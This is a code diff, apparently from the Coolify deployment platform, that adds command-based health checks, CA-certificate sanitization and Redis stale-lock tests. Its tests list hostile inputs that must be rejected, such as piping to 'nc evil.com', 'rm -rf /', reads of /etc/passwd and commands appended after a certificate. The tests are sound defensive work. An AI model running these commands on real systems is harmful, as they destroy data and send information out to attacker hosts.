<p>This command runs inside the container on every health check interval. Shell operators (;, |, &amp;, $, &gt;, &lt;) are not allowed.</p>
</x-callout>
<div class="flex flex-col gap-2">
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckCommand"
label="Command"
placeholder="pg_isready -U postgres"
helper="A simple command to run inside the container. Must exit with code 0 on success. Shell operators like ;, |, &&, $() are not allowed."
:required="$healthCheckType === 'cmd'" />
</div>
@endif
{{-- Common timing fields (used by both types) --}}
<div class="flex gap-2">
<x-forms.input canGate="update" :canResource="$resource" min="1" type="number" id="healthCheckInterval" placeholder="30"
label="Interval (s)" required />
@ -49,4 +75,4 @@
label="Start Period (s)" required />
</div>
</div>
</form>
</form>

View file

@ -27,6 +27,22 @@
<div class="mt-1 mb-6">Configure Docker cleanup settings for your server.</div>
</div>
@if ($this->isCleanupStale)
<div class="mb-4">
<x-callout type="warning" title="Docker Cleanup May Be Stalled">
<p>The last Docker cleanup ran {{ $this->lastExecutionTime ?? 'unknown time' }} ago,
which is longer than expected for the configured frequency.</p>
@if (!$this->isSchedulerHealthy)
<p class="mt-1">The scheduled job manager appears to be inactive. This may indicate
a stale Redis lock is blocking all scheduled jobs.</p>
@endif
<p class="mt-2">To resolve, run on your Coolify instance:
<code class="bg-black/10 dark:bg-white/10 px-1 rounded">php artisan cleanup:redis --clear-locks</code>
</p>
</x-callout>
</div>
@endif
<div class="flex flex-col gap-2">
<div class="flex gap-4">
<h3>Cleanup Configuration</h3>

View file

@ -0,0 +1,120 @@
<?php
use App\Models\Application;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Visus\Cuid2\Cuid2;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
session(['currentTeam' => $this->team]);
$this->token = $this->user->createToken('test-token', ['*']);
$this->bearerToken = $this->token->plainTextToken;
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
StandaloneDocker::withoutEvents(function () {
$this->destination = StandaloneDocker::firstOrCreate(
['server_id' => $this->server->id, 'network' => 'coolify'],
['uuid' => (string) new Cuid2, 'name' => 'test-docker']
);
});
$this->project = Project::create([
'uuid' => (string) new Cuid2,
'name' => 'test-project',
'team_id' => $this->team->id,
]);
// Project boot event auto-creates a 'production' environment
$this->environment = $this->project->environments()->first();
$this->application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
});
function healthCheckAuthHeaders($bearerToken): array
{
return [
'Authorization' => 'Bearer '.$bearerToken,
'Content-Type' => 'application/json',
];
}
describe('PATCH /api/v1/applications/{uuid} health check fields', function () {
test('can update health_check_type to cmd with a command', function () {
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$this->application->uuid}", [
'health_check_type' => 'cmd',
'health_check_command' => 'pg_isready -U postgres',
]);
$response->assertOk();
$this->application->refresh();
expect($this->application->health_check_type)->toBe('cmd');
expect($this->application->health_check_command)->toBe('pg_isready -U postgres');
});
test('can update health_check_type back to http', function () {
$this->application->update([
'health_check_type' => 'cmd',
'health_check_command' => 'redis-cli ping',
]);
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$this->application->uuid}", [
'health_check_type' => 'http',
'health_check_command' => null,
]);
$response->assertOk();
$this->application->refresh();
expect($this->application->health_check_type)->toBe('http');
expect($this->application->health_check_command)->toBeNull();
});
test('rejects invalid health_check_type', function () {
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$this->application->uuid}", [
'health_check_type' => 'exec',
]);
$response->assertStatus(422);
});
test('rejects health_check_command with shell operators', function () {
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$this->application->uuid}", [
'health_check_type' => 'cmd',
'health_check_command' => 'pg_isready; rm -rf /',
]);
$response->assertStatus(422);
});
test('rejects health_check_command over 1000 characters', function () {
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$this->application->uuid}", [
'health_check_type' => 'cmd',
'health_check_command' => str_repeat('a', 1001),
]);
$response->assertStatus(422);
});
});

View file

@ -0,0 +1,93 @@
<?php
use App\Livewire\Server\CaCertificate\Show;
use App\Models\Server;
use App\Models\SslCertificate;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->user = User::factory()->create();
$this->team = Team::factory()->create();
$this->user->teams()->attach($this->team, ['role' => 'owner']);
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
$this->server = Server::factory()->create([
'team_id' => $this->team->id,
]);
});
function generateSelfSignedCert(): string
{
$key = openssl_pkey_new(['private_key_bits' => 2048]);
$csr = openssl_csr_new(['CN' => 'Test CA'], $key);
$cert = openssl_csr_sign($csr, null, $key, 365);
openssl_x509_export($cert, $certPem);
return $certPem;
}
test('saveCaCertificate sanitizes injected commands after certificate marker', function () {
$validCert = generateSelfSignedCert();
$caCert = SslCertificate::create([
'server_id' => $this->server->id,
'is_ca_certificate' => true,
'ssl_certificate' => $validCert,
'ssl_private_key' => 'test-key',
'common_name' => 'Coolify CA Certificate',
'valid_until' => now()->addYears(10),
]);
// Inject shell command after valid certificate
$maliciousContent = $validCert."' ; id > /tmp/pwned ; echo '";
Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
->set('certificateContent', $maliciousContent)
->call('saveCaCertificate')
->assertDispatched('success');
// After save, the certificate should be the clean re-exported PEM, not the malicious input
$caCert->refresh();
expect($caCert->ssl_certificate)->not->toContain('/tmp/pwned');
expect($caCert->ssl_certificate)->not->toContain('; id');
expect($caCert->ssl_certificate)->toContain('-----BEGIN CERTIFICATE-----');
expect($caCert->ssl_certificate)->toEndWith("-----END CERTIFICATE-----\n");
});
test('saveCaCertificate rejects completely invalid certificate', function () {
SslCertificate::create([
'server_id' => $this->server->id,
'is_ca_certificate' => true,
'ssl_certificate' => 'placeholder',
'ssl_private_key' => 'test-key',
'common_name' => 'Coolify CA Certificate',
'valid_until' => now()->addYears(10),
]);
Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
->set('certificateContent', "not-a-cert'; rm -rf /; echo '")
->call('saveCaCertificate')
->assertDispatched('error');
});
test('saveCaCertificate rejects empty certificate content', function () {
SslCertificate::create([
'server_id' => $this->server->id,
'is_ca_certificate' => true,
'ssl_certificate' => 'placeholder',
'ssl_private_key' => 'test-key',
'common_name' => 'Coolify CA Certificate',
'valid_until' => now()->addYears(10),
]);
Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
->set('certificateContent', '')
->call('saveCaCertificate')
->assertDispatched('error');
});

View file

@ -0,0 +1,90 @@
<?php
use Illuminate\Support\Facades\Validator;
$commandRules = ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'];
it('rejects healthCheckCommand over 1000 characters', function () use ($commandRules) {
$validator = Validator::make(
['healthCheckCommand' => str_repeat('a', 1001)],
['healthCheckCommand' => $commandRules]
);
expect($validator->fails())->toBeTrue();
});
it('accepts healthCheckCommand under 1000 characters', function () use ($commandRules) {
$validator = Validator::make(
['healthCheckCommand' => 'pg_isready -U postgres'],
['healthCheckCommand' => $commandRules]
);
expect($validator->fails())->toBeFalse();
});
it('accepts null healthCheckCommand', function () use ($commandRules) {
$validator = Validator::make(
['healthCheckCommand' => null],
['healthCheckCommand' => $commandRules]
);
expect($validator->fails())->toBeFalse();
});
it('accepts simple commands', function ($command) use ($commandRules) {
$validator = Validator::make(
['healthCheckCommand' => $command],
['healthCheckCommand' => $commandRules]
);
expect($validator->fails())->toBeFalse();
})->with([
'pg_isready -U postgres',
'redis-cli ping',
'curl -f http://localhost:8080/health',
'wget -q -O- http://localhost/health',
'mysqladmin ping -h 127.0.0.1',
]);
it('rejects commands with shell operators', function ($command) use ($commandRules) {
$validator = Validator::make(
['healthCheckCommand' => $command],
['healthCheckCommand' => $commandRules]
);
expect($validator->fails())->toBeTrue();
})->with([
'pg_isready; rm -rf /',
'redis-cli ping | nc evil.com 1234',
'curl http://localhost && curl http://evil.com',
'echo $(whoami)',
'cat /etc/passwd > /tmp/out',
'curl `whoami`.evil.com',
'cmd & background',
'echo "hello"',
"echo 'hello'",
'test < /etc/passwd',
'bash -c {echo,pwned}',
'curl http://evil.com#comment',
'echo $HOME',
"cmd\twith\ttabs",
"cmd\nwith\nnewlines",
]);
it('rejects invalid healthCheckType', function () {
$validator = Validator::make(
['healthCheckType' => 'exec'],
['healthCheckType' => 'string|in:http,cmd']
);
expect($validator->fails())->toBeTrue();
});
it('accepts valid healthCheckType values', function ($type) {
$validator = Validator::make(
['healthCheckType' => $type],
['healthCheckType' => 'string|in:http,cmd']
);
expect($validator->fails())->toBeFalse();
})->with(['http', 'cmd']);

View file

@ -0,0 +1,49 @@
<?php
use App\Jobs\ScheduledJobManager;
use Illuminate\Support\Facades\Redis;
it('clears stale lock when TTL is -1', function () {
$cachePrefix = config('cache.prefix');
$lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';
$redis = Redis::connection('default');
$redis->set($lockKey, 'stale-owner');
expect($redis->ttl($lockKey))->toBe(-1);
$job = new ScheduledJobManager;
$job->middleware();
expect($redis->exists($lockKey))->toBe(0);
});
it('preserves valid lock with positive TTL', function () {
$cachePrefix = config('cache.prefix');
$lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';
$redis = Redis::connection('default');
$redis->set($lockKey, 'active-owner');
$redis->expire($lockKey, 60);
expect($redis->ttl($lockKey))->toBeGreaterThan(0);
$job = new ScheduledJobManager;
$job->middleware();
expect($redis->exists($lockKey))->toBe(1);
$redis->del($lockKey);
});
it('does not fail when no lock exists', function () {
$cachePrefix = config('cache.prefix');
$lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';
Redis::connection('default')->del($lockKey);
$job = new ScheduledJobManager;
$middleware = $job->middleware();
expect($middleware)->toBeArray()->toHaveCount(1);
});

View file

@ -165,12 +165,69 @@
expect($validator->fails())->toBeFalse();
});
it('generates CMD healthcheck command directly', function () {
$result = callGenerateHealthcheckCommands([
'health_check_type' => 'cmd',
'health_check_command' => 'pg_isready -U postgres',
]);
expect($result)->toBe('pg_isready -U postgres');
});
it('strips newlines from CMD healthcheck command', function () {
$result = callGenerateHealthcheckCommands([
'health_check_type' => 'cmd',
'health_check_command' => "redis-cli ping\n&& echo pwned",
]);
expect($result)->not->toContain("\n")
->and($result)->toBe('redis-cli ping && echo pwned');
});
it('falls back to HTTP healthcheck when CMD type has empty command', function () {
$result = callGenerateHealthcheckCommands([
'health_check_type' => 'cmd',
'health_check_command' => '',
]);
// Should fall through to HTTP path
expect($result)->toContain('curl -s -X');
});
it('validates healthCheckCommand rejects strings over 1000 characters', function () {
$rules = [
'healthCheckCommand' => 'nullable|string|max:1000',
];
$validator = Validator::make(
['healthCheckCommand' => str_repeat('a', 1001)],
$rules
);
expect($validator->fails())->toBeTrue();
});
it('validates healthCheckCommand accepts strings under 1000 characters', function () {
$rules = [
'healthCheckCommand' => 'nullable|string|max:1000',
];
$validator = Validator::make(
['healthCheckCommand' => 'pg_isready -U postgres'],
$rules
);
expect($validator->fails())->toBeFalse();
});
/**
* Helper: Invokes the private generate_healthcheck_commands() method via reflection.
*/
function callGenerateHealthcheckCommands(array $overrides = []): string
{
$defaults = [
'health_check_type' => 'http',
'health_check_command' => null,
'health_check_method' => 'GET',
'health_check_scheme' => 'http',
'health_check_host' => 'localhost',
@ -182,6 +239,8 @@ function callGenerateHealthcheckCommands(array $overrides = []): string
$values = array_merge($defaults, $overrides);
$application = Mockery::mock(Application::class)->makePartial();
$application->shouldReceive('getAttribute')->with('health_check_type')->andReturn($values['health_check_type']);
$application->shouldReceive('getAttribute')->with('health_check_command')->andReturn($values['health_check_command']);
$application->shouldReceive('getAttribute')->with('health_check_method')->andReturn($values['health_check_method']);
$application->shouldReceive('getAttribute')->with('health_check_scheme')->andReturn($values['health_check_scheme']);
$application->shouldReceive('getAttribute')->with('health_check_host')->andReturn($values['health_check_host']);

View file

@ -1,6 +1,5 @@
<?php
use App\Models\GithubApp;
use App\Models\User;
use App\Policies\GithubAppPolicy;
@ -14,9 +13,12 @@
it('allows any user to view system-wide github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$model = Mockery::mock(GithubApp::class)->makePartial();
$model->team_id = 1;
$model->is_system_wide = true;
$model = new class
{
public $team_id = 1;
public $is_system_wide = true;
};
$policy = new GithubAppPolicy;
expect($policy->view($user, $model))->toBeTrue();
@ -30,9 +32,12 @@
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$model = Mockery::mock(GithubApp::class)->makePartial();
$model->team_id = 1;
$model->is_system_wide = false;
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->view($user, $model))->toBeTrue();
@ -46,9 +51,12 @@
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$model = Mockery::mock(GithubApp::class)->makePartial();
$model->team_id = 1;
$model->is_system_wide = false;
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->view($user, $model))->toBeFalse();
@ -74,9 +82,12 @@
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('canAccessSystemResources')->andReturn(true);
$model = Mockery::mock(GithubApp::class)->makePartial();
$model->team_id = 1;
$model->is_system_wide = true;
$model = new class
{
public $team_id = 1;
public $is_system_wide = true;
};
$policy = new GithubAppPolicy;
expect($policy->update($user, $model))->toBeTrue();
@ -86,9 +97,12 @@
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('canAccessSystemResources')->andReturn(false);
$model = Mockery::mock(GithubApp::class)->makePartial();
$model->team_id = 1;
$model->is_system_wide = true;
$model = new class
{
public $team_id = 1;
public $is_system_wide = true;
};
$policy = new GithubAppPolicy;
expect($policy->update($user, $model))->toBeFalse();
@ -98,9 +112,12 @@
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
$model = Mockery::mock(GithubApp::class)->makePartial();
$model->team_id = 1;
$model->is_system_wide = false;
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->update($user, $model))->toBeTrue();
@ -110,9 +127,12 @@
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
$model = Mockery::mock(GithubApp::class)->makePartial();
$model->team_id = 1;
$model->is_system_wide = false;
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->update($user, $model))->toBeFalse();
@ -122,9 +142,12 @@
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('canAccessSystemResources')->andReturn(true);
$model = Mockery::mock(GithubApp::class)->makePartial();
$model->team_id = 1;
$model->is_system_wide = true;
$model = new class
{
public $team_id = 1;
public $is_system_wide = true;
};
$policy = new GithubAppPolicy;
expect($policy->delete($user, $model))->toBeTrue();
@ -134,9 +157,12 @@
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('canAccessSystemResources')->andReturn(false);
$model = Mockery::mock(GithubApp::class)->makePartial();
$model->team_id = 1;
$model->is_system_wide = true;
$model = new class
{
public $team_id = 1;
public $is_system_wide = true;
};
$policy = new GithubAppPolicy;
expect($policy->delete($user, $model))->toBeFalse();
@ -146,9 +172,12 @@
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
$model = Mockery::mock(GithubApp::class)->makePartial();
$model->team_id = 1;
$model->is_system_wide = false;
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->delete($user, $model))->toBeTrue();
@ -158,9 +187,12 @@
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
$model = Mockery::mock(GithubApp::class)->makePartial();
$model->team_id = 1;
$model->is_system_wide = false;
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->delete($user, $model))->toBeFalse();
@ -169,9 +201,12 @@
it('denies restore of github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$model = Mockery::mock(GithubApp::class)->makePartial();
$model->team_id = 1;
$model->is_system_wide = false;
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->restore($user, $model))->toBeFalse();
@ -180,9 +215,12 @@
it('denies force delete of github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$model = Mockery::mock(GithubApp::class)->makePartial();
$model->team_id = 1;
$model->is_system_wide = false;
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->forceDelete($user, $model))->toBeFalse();

View file

@ -1,6 +1,5 @@
<?php
use App\Models\SharedEnvironmentVariable;
use App\Models\User;
use App\Policies\SharedEnvironmentVariablePolicy;
@ -19,8 +18,10 @@
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$model = Mockery::mock(SharedEnvironmentVariable::class)->makePartial();
$model->team_id = 1;
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->view($user, $model))->toBeTrue();
@ -34,8 +35,10 @@
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$model = Mockery::mock(SharedEnvironmentVariable::class)->makePartial();
$model->team_id = 2;
$model = new class
{
public $team_id = 2;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->view($user, $model))->toBeFalse();
@ -61,8 +64,10 @@
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
$model = Mockery::mock(SharedEnvironmentVariable::class)->makePartial();
$model->team_id = 1;
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->update($user, $model))->toBeTrue();
@ -72,8 +77,10 @@
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
$model = Mockery::mock(SharedEnvironmentVariable::class)->makePartial();
$model->team_id = 1;
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->update($user, $model))->toBeFalse();
@ -83,8 +90,10 @@
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
$model = Mockery::mock(SharedEnvironmentVariable::class)->makePartial();
$model->team_id = 1;
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->delete($user, $model))->toBeTrue();
@ -94,8 +103,10 @@
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
$model = Mockery::mock(SharedEnvironmentVariable::class)->makePartial();
$model->team_id = 1;
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->delete($user, $model))->toBeFalse();
@ -104,8 +115,10 @@
it('denies restore of shared environment variable', function () {
$user = Mockery::mock(User::class)->makePartial();
$model = Mockery::mock(SharedEnvironmentVariable::class)->makePartial();
$model->team_id = 1;
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->restore($user, $model))->toBeFalse();
@ -114,8 +127,10 @@
it('denies force delete of shared environment variable', function () {
$user = Mockery::mock(User::class)->makePartial();
$model = Mockery::mock(SharedEnvironmentVariable::class)->makePartial();
$model->team_id = 1;
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->forceDelete($user, $model))->toBeFalse();
@ -125,8 +140,10 @@
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
$model = Mockery::mock(SharedEnvironmentVariable::class)->makePartial();
$model->team_id = 1;
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->manageEnvironment($user, $model))->toBeTrue();
@ -136,8 +153,10 @@
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
$model = Mockery::mock(SharedEnvironmentVariable::class)->makePartial();
$model->team_id = 1;
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->manageEnvironment($user, $model))->toBeFalse();

View file

@ -24,7 +24,7 @@
$expiresAfterProperty->setAccessible(true);
$expiresAfter = $expiresAfterProperty->getValue($overlappingMiddleware);
expect($expiresAfter)->toBe(60)
expect($expiresAfter)->toBe(90)
->and($expiresAfter)->toBeGreaterThan(0, 'expireAfter must be set to prevent stale locks');
// Check releaseAfter is NOT set (we use dontRelease)